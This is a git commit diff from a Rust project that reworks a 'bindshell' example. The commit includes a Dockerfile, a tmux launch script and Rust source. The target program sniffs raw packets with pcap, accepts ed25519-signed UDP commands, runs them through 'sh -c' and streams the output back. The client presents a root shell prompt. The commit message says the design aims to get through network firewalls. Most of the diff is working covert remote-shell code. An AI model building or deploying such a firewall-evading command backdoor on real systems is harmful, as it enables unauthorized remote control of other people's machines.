refactor: redid the bindshell example

Made it use a single UDP client as well as proper randomized ports to go
through network firewalls, requiring stdin, status, stderr, and stdout
all go over a single UDP socket

Updated the client to have a prompt
This commit is contained in:
Andrew Rioux 2023-05-09 21:02:46 -04:00
parent 8ad7127d4d
commit f1e5b2d979
Signed by: andrew.rioux
GPG Key ID: 9B8BAC47C17ABB94
7 changed files with 263 additions and 90 deletions

View File

@ -25,7 +25,7 @@ ENV DEBIAN_FRONTEND=noninteractive \
VISUAL='code -w'
RUN apt-get update && \
apt install -y cmake git libtool valgrind docker-compose lldb sudo zsh wget && \
apt install -y cmake git libtool valgrind docker-compose lldb sudo zsh wget tmux && \
apt-get autoremove -y && apt-get clean -y && rm -rf /var/lib/apt/lists/* && \
adduser ${USERNAME} && \
echo "$USERNAME ALL=(ALL:ALL) NOPASSWD: ALL" >> /etc/sudoers && \

View File

@ -1,3 +1,5 @@
extend = "./examples/Makefile.toml"
[env]
CARGO_MAKE_EXTEND_WORKSPACE_MAKEFILE = true

8
examples/Makefile.toml Normal file
View File

@ -0,0 +1,8 @@
[tasks.examples-bindshell-run]
workspace = false
dependencies = ["build"]
script = '''
tmux new-session -d -s bindshell 'docker-compose up examples_bindshell_target'
tmux split-window -h 'docker-compose run examples_bindshell_client'
tmux -2 attach -t bindshell
'''

View File

@ -12,7 +12,9 @@ use ex_bind_shell_key_generator::PUBKEY;
#[tokio::main]
async fn main() -> anyhow::Result<()> {
simple_logger::SimpleLogger::new().init()?;
simple_logger::SimpleLogger::new()
.with_level(log::LevelFilter::Info)
.init()?;
let pubkey =
Arc::new(PublicKey::from_bytes(PUBKEY).context("could not parse generated public key")?);
@ -25,6 +27,8 @@ async fn main() -> anyhow::Result<()> {
.find(|eth| eth.starts_with("eth"))
.ok_or(anyhow!("Could not get an ethernet interface"))?;
log::info!("Attaching to interface {}", &interface_name);
let mut interface = pcap_sys::Interface::<pcap_sys::DevDisabled>::new(&interface_name)?;
interface.set_buffer_size(8192)?;
@ -43,22 +47,31 @@ async fn main() -> anyhow::Result<()> {
enum EventType {
Packet(Result<EthernetPacket, pcap_sys::error::Error>),
Send(EthernetPacket),
Exit,
}
let mut packets = interface.stream()?;
let (packet_sender, mut packets_to_send) = mpsc::channel(64);
let (exit_sender, mut exit_handler) = mpsc::channel(1);
while let Some(evt) = tokio::select! {
v = packets.next() => v.map(EventType::Packet),
v = packets_to_send.recv() => v.map(EventType::Send)
v = packets_to_send.recv() => v.map(EventType::Send),
v = exit_handler.recv() => v.map(|_| EventType::Exit)
} {
match evt {
EventType::Packet(pkt) => {
if let Ok(pkt) = pkt {
let packet_sender_clone = packet_sender.clone();
let exit_sender_clone = exit_sender.clone();
let pubkey_clone = pubkey.clone();
tokio::spawn(async move {
if let Err(e) = handle_command(pubkey_clone, pkt, packet_sender_clone).await
if let Err(e) = handle_command(
pubkey_clone,
pkt,
packet_sender_clone,
exit_sender_clone
).await
{
log::warn!("Error handling packet: {e}");
}
@ -68,6 +81,9 @@ async fn main() -> anyhow::Result<()> {
EventType::Send(pkt) => {
packets.sendpacket(pkt.pkt())?;
}
EventType::Exit => {
break;
}
}
}
@ -78,91 +94,168 @@ async fn handle_command(
pubkey: Arc<PublicKey>,
eth: EthernetPacket,
send_response: mpsc::Sender<EthernetPacket>,
send_exit: mpsc::Sender<()>
) -> anyhow::Result<()> {
use pcap_sys::packets::*;
let eth_pkt = eth.pkt();
let Layer3Pkt::IPv4Pkt(ip_pkt) = eth_pkt.get_layer3_pkt()?;
let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
let source_port = udp_pkt.srcport();
let error_udp_packet = UDPPacket::construct(54248, source_port, *&[0u8, 255]);
let error_ip_packet = IPv4Packet::construct(
ip_pkt.dest_ip(),
ip_pkt.source_ip(),
&Layer4Packet::UDP(error_udp_packet),
);
let error_eth_packet = EthernetPacket::construct(
*eth_pkt.destination_address(),
*eth_pkt.source_address(),
&Layer3Packet::IPv4(error_ip_packet),
);
let data = udp_pkt.get_data();
if data.len() < 65 {
if let Err(e) = send_response.send(error_eth_packet.clone()).await {
log::warn!("Could not send command done packet: {e:?}");
}
bail!("Packet was too short")
}
let signature: [u8; 64] = data[..64]
.try_into()
.context("could not get signature from command")?;
let Ok(signature): Result<[u8; 64], _> = data[..64].try_into() else {
if let Err(e) = send_response.send(error_eth_packet.clone()).await {
log::warn!("Could not send command done packet: {e:?}");
}
bail!("could not get signature from command")
};
let signature = Signature::from(signature);
let cmd = &data[64..];
pubkey
.verify(cmd, &signature)
.context("message provided was unauthenticated")?;
if let Err(e) = pubkey.verify(cmd, &signature) {
if let Err(e) = send_response.send(error_eth_packet.clone()).await {
log::warn!("Could not send command done packet: {e:?}");
}
return Err(e).context("message provided was unauthenticated");
}
let cmd = OsStr::from_bytes(cmd);
log::info!("Received command to execute: {cmd:?}");
let child = process::Command::new("sh")
let cmd_str = std::str::from_utf8(cmd.as_bytes());
match cmd_str.map(|c| c.split(" ").collect::<Vec<_>>()).as_deref() {
Ok(["exit"]) => {
send_exit.send(()).await;
return Ok(());
}
Ok(["cd", dir]) => {
std::env::set_current_dir(dir)?;
return Ok(());
}
_ => {}
}
let Ok(mut child) = (process::Command::new("sh")
.arg("-c")
.arg(cmd)
.stdin(Stdio::null())
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()?;
.stderr(Stdio::piped()))
.spawn() else {
if let Err(e) = send_response.send(error_eth_packet.clone()).await {
log::warn!("Could not send command done packet: {e:?}");
}
bail!("could not spawn child")
};
let mut stdout = child
.stdout
.ok_or(anyhow!("could not get child process stdout"))?;
let mut stderr = child
.stderr
.ok_or(anyhow!("could not get child process stdout"))?;
{
let stdout = match &mut child.stdout {
Some(ref mut stdout) => stdout,
None => bail!("could not get child process stdout")
};
let stderr = match &mut child.stderr {
Some(ref mut stderr) => stderr,
None => bail!("could not get child process stderr")
};
enum Output {
Out,
Err,
}
enum Output {
Out,
Err,
let mut stdout_buffer = [0u8; 1024];
let mut stderr_buffer = [0u8; 1024];
loop {
let (out_type, Ok(len)) = tokio::select! {
v = stdout.read(&mut stdout_buffer[..]) => (Output::Out, v),
v = stderr.read(&mut stderr_buffer[..]) => (Output::Err, v)
} else { continue; };
if len == 0 {
break;
}
let msg = &match out_type {
Output::Err => stderr_buffer,
Output::Out => stdout_buffer,
}[..len];
let fullmsg = &[
match out_type {
Output::Out => &[1],
Output::Err => &[2]
},
msg
]
.concat();
let udp_packet = UDPPacket::construct(54248, source_port, &**fullmsg);
let ip_packet = IPv4Packet::construct(
ip_pkt.dest_ip(),
ip_pkt.source_ip(),
&Layer4Packet::UDP(udp_packet),
);
let eth_packet = EthernetPacket::construct(
*eth_pkt.destination_address(),
*eth_pkt.source_address(),
&Layer3Packet::IPv4(ip_packet),
);
if let Err(e) = send_response.send(eth_packet).await {
log::warn!("Could not send response packet: {e:?}");
}
}
}
let mut stdout_buffer = [0u8; 1024];
let mut stderr_buffer = [0u8; 1024];
let exit_code = child
.wait()
.await
.map(|s| s.code())
.ok()
.flatten()
.unwrap_or(255)
.try_into()
.unwrap();
loop {
let (out_type, Ok(len)) = tokio::select! {
v = stdout.read(&mut stdout_buffer[..]) => (Output::Out, v),
v = stderr.read(&mut stderr_buffer[..]) => (Output::Err, v)
} else { continue; };
let done_udp_packet = UDPPacket::construct(54248, source_port, *&[0u8, exit_code]);
let done_ip_packet = IPv4Packet::construct(
ip_pkt.dest_ip(),
ip_pkt.source_ip(),
&Layer4Packet::UDP(done_udp_packet),
);
let done_eth_packet = EthernetPacket::construct(
*eth_pkt.destination_address(),
*eth_pkt.source_address(),
&Layer3Packet::IPv4(done_ip_packet),
);
if len == 0 {
break;
}
let msg = &match out_type {
Output::Err => stderr_buffer,
Output::Out => stdout_buffer,
}[..len];
let port = match out_type {
Output::Err => 54249,
Output::Out => 54248,
};
let udp_packet = UDPPacket::construct(54248, port, msg);
let ip_packet = IPv4Packet::construct(
ip_pkt.dest_ip(),
ip_pkt.source_ip(),
&Layer4Packet::UDP(udp_packet),
);
let eth_packet = EthernetPacket::construct(
*eth_pkt.destination_address(),
*eth_pkt.source_address(),
&Layer3Packet::IPv4(ip_packet),
);
if let Err(e) = send_response.send(eth_packet).await {
log::warn!("Could not send response packet: {e:?}");
}
if let Err(e) = send_response.send(done_eth_packet.clone()).await {
log::warn!("Could not send command done packet: {e:?}");
}
log::info!("Done executing command {cmd:?}");

View File

@ -1,63 +1,133 @@
use std::{io::prelude::*, net::UdpSocket, thread};
use std::{io::prelude::*, net::UdpSocket, thread, sync::{Arc, Mutex, Condvar}};
use anyhow::{anyhow, Context};
use ed25519_dalek::{Keypair, Signer};
use ex_bind_shell_key_generator::{PRIVKEY, PUBKEY};
enum Msg<'a> {
Ready(u8),
Stdout(&'a [u8]),
Stderr(&'a [u8]),
}
impl Msg<'_> {
fn parse<'a>(bytes: &'a [u8]) -> Option<Msg<'a>> {
match bytes[0] {
0 => Some(Msg::Ready(bytes[1])),
1 => Some(Msg::Stdout(&bytes[1..])),
2 => Some(Msg::Stderr(&bytes[1..])),
_ => None
}
}
}
fn main() -> anyhow::Result<()> {
let privkey = Keypair::from_bytes(&[PRIVKEY, PUBKEY].concat())
.context("could not parse generated private key")?;
let mut stdout = std::io::stdout();
let stdout_inuse = Arc::new((Mutex::new(false), Condvar::new()));
let stdout_arc = Arc::new(Mutex::new(std::io::stdout()));
let mut stderr = std::io::stderr();
let stdin = std::io::stdin();
let mut args = std::env::args();
args.next();
let target = args.next().ok_or(anyhow!("Please specify a target IP"))?;
let target = std::env::args()
.skip(1)
.next()
.ok_or(anyhow!("Please specify a target IP"))?;
let remote_stdin = UdpSocket::bind("0.0.0.0:0")?;
let remote_stdout = UdpSocket::bind("0.0.0.0:54248")?;
let remote_stderr = UdpSocket::bind("0.0.0.0:54249")?;
let remote = UdpSocket::bind("0.0.0.0:0")?;
let remote_listen = remote.try_clone()?;
let out_thread = thread::spawn(move || {
let mut buffer = [0u8; 1024];
let out_thread = {
let stdout_inuse = Arc::clone(&stdout_inuse);
let stdout_arc = Arc::clone(&stdout_arc);
loop {
let Ok(amount) = remote_stdout.recv(&mut buffer[..]) else { continue; };
let Ok(_) = stdout.write(&mut buffer[..amount]) else { continue; };
}
});
thread::spawn(move || {
let mut buffer = [0u8; 1536];
let err_thread = thread::spawn(move || {
let mut buffer = [0u8; 1024];
loop {
let Ok(amount) = remote_listen.recv(&mut buffer[..]) else { continue; };
let Some(msg) = Msg::parse(&buffer[..amount]) else { continue; };
loop {
let Ok(amount) = remote_stderr.recv(&mut buffer[..]) else { continue; };
let Ok(_) = stderr.write(&mut buffer[..amount]) else { continue; };
}
});
match msg {
Msg::Ready(_) => {
let (lock, cvar) = &*stdout_inuse;
let Ok(mut inuse) = lock.lock() else {
eprintln!("Could not get lock on message handle!");
return;
};
*inuse = false;
cvar.notify_one();
},
Msg::Stderr(err) => {
let _ = stderr.write(err);
},
Msg::Stdout(out) => {
let Ok(mut stdout) = stdout_arc.lock() else { continue; };
let _ = stdout.write(out);
}
}
}
})
};
// sending a single command helps out with buffers, I guess
// first message is always dropped
remote.send_to(b"ls /", &target)?;
let mut cwd = "/".to_owned();
loop {
let mut cmd = String::new();
let Ok(_) = stdin.read_line(&mut cmd) else { continue; };
let cmd = cmd.trim();
{
let (lock, cvar) = &*stdout_inuse;
let Ok(mut inuse) = lock.lock() else {
eprintln!("Could not get lock on message handle!");
break;
};
if cmd == "exit" {
break;
while *inuse {
inuse = cvar.wait(inuse).unwrap();
}
}
{
let Ok(mut stdout) = stdout_arc.lock() else { continue; };
let Ok(_) = write!(&*stdout, "root@{}:{} # ", &target, &cwd) else { continue; };
let _ = stdout.flush();
}
let mut cmd = String::new();
let Ok(amount) = stdin.read_line(&mut cmd) else { continue; };
let mut cmd = cmd.trim();
if amount == 0 {
cmd = "exit";
}
let signature = privkey.sign(cmd.as_bytes()).to_bytes();
let msg = &[&signature, cmd.as_bytes()].concat();
let Ok(_) = remote_stdin.send_to(msg, &target) else {
let Ok(_) = remote.send_to(msg, &target) else {
continue;
};
match cmd.split(" ").collect::<Vec<_>>()[..] {
["exit"] => { break },
["cd", dir] => { cwd = dir.to_owned(); },
_ => {
let (lock, _) = &*stdout_inuse;
let Ok(mut inuse) = lock.lock() else {
eprintln!("Could not get lock on message handle!");
break;
};
*inuse = true;
}
}
}
drop(out_thread);
drop(err_thread);
Ok(())
}

View File

@ -14,4 +14,4 @@
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pub const PUBKEY: &[u8] = include_bytes!(concat!(env!("OUT_DIR"), "/pubkey"));
pub const PRIVKEY: &[u8] = include_bytes!(concat!(env!("OUT_DIR"), "/pubkey"));
pub const PRIVKEY: &[u8] = include_bytes!(concat!(env!("OUT_DIR"), "/privkey"));

View File

@ -14,7 +14,7 @@ pub trait Protocol<I, T> {
/// Allows for composing multiple protocols on top of each other, for instance to use
/// TCP fragmenting to work with HTTP to form a complete packet, and then take the HTTP
/// conversation and encode Sparse messages into it
fn compose<P, U>(self, other: P) -> ProtocolCompose<Self, P, I, J, T, U>
fn compose<P, J, U>(self, other: P) -> ProtocolCompose<Self, P, I, J, T, U>
where
J: From<T>,
P: Protocol<J, U> + Sized,
@ -43,14 +43,14 @@ pub struct ProtocolCompose<P1: Protocol<I, T>, P2: Protocol<J, U>, I, J: From<T>
generic_u: PhantomData<U>,
}
impl<P1: Protocol<I, T>, P2: Protocol<J, U>, I, J: From<T>, T, U> Protocol<I, U>
/*impl<P1: Protocol<I, T>, P2: Protocol<J, U>, I, J: From<T>, T, U> Protocol<I, U>
for ProtocolCompose<P1, P2, I, J, T, U>
{
fn handle_event(&mut self, packet: I) -> U {
let elem1 = self.protocol1.handle_event(packet);
self.protocol2.handle_event(elem1)
}
}
}*/
/// High level protocol that used for the overall application
///